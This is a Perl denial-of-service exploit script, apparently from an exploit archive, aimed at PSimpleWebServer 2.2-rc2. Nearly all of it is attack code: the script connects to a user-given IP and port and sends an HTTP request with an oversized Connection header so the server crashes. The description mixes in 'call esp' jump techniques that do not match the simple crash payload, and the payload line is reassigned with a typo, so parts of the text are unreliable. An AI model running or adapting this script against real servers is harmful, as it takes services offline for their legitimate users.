#!/usr/bin/perl
use IO::Socket::INET;
# Exploit Title: PSimpleWebServer 2.2-rc2 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 11 january 2024
# Vendor Homepage: http://www.pmx.it/
# Download to demo: https://drive.google.com/file/d/1tAK7dKl3yBPQSeo5Tid4p2FETyh8Zjvs/view?usp=sharing
# Notification vendor: No reported
# Tested Version: PSimpleWebServer 2.2-rc2
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://www.youtube.com/watch?v=YFfBuWnHeQY
#1. Description
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data to web server.
#The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.
#2. Proof of Concept - PoC
$sis="$^O";
if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}
system("$cmd");
intro();
main();
print "\t ==> Connecting to webserver... \n\n";
sleep(1);
our $exploit = "\x41"x2014;
$exploit = "x\41"x2104;
if ($socket = IO::Socket::INET->new
(PeerAddr => $ip,
PeerPort => $port,
Proto => "TCP"))
{
$header =
"GET / HTTP/1.1\r\n".
"Host: ".$ip." \r\n".
"Connection:".$exploit."\r\n";
print $socket $header."\r\n";
sleep(1);
close($socket);
}
else
{
print "[-] Connection to $ip failed!\n";
exit;
}
print "\t ==> Done! Exploited!";
sub intro {
print q {
,,__
.. .. / o._)
/--'/--\ \-'||
/ \_/ / |
.'\ \__\ __.'.'
)\ | )\ |
// \\ // \\
||_ \\|_ \\_
'--' '--'' '--'
[+] SimpleWebServer 2.2-rc2 - Denial of Service (DoS)
[*] Coded by Fernando Mengali
[@] e-mail: fernando.mengalli@gmail.com
}
}
sub main {
our ($ip, $port) = @ARGV;
unless (defined($ip) && defined($port)) {
print "\n\tUsage: $0 <ip> <port> \n";
exit(-1);
}
}
#3. Solution/ How to fix:
# This version product is deprecated
Polish
English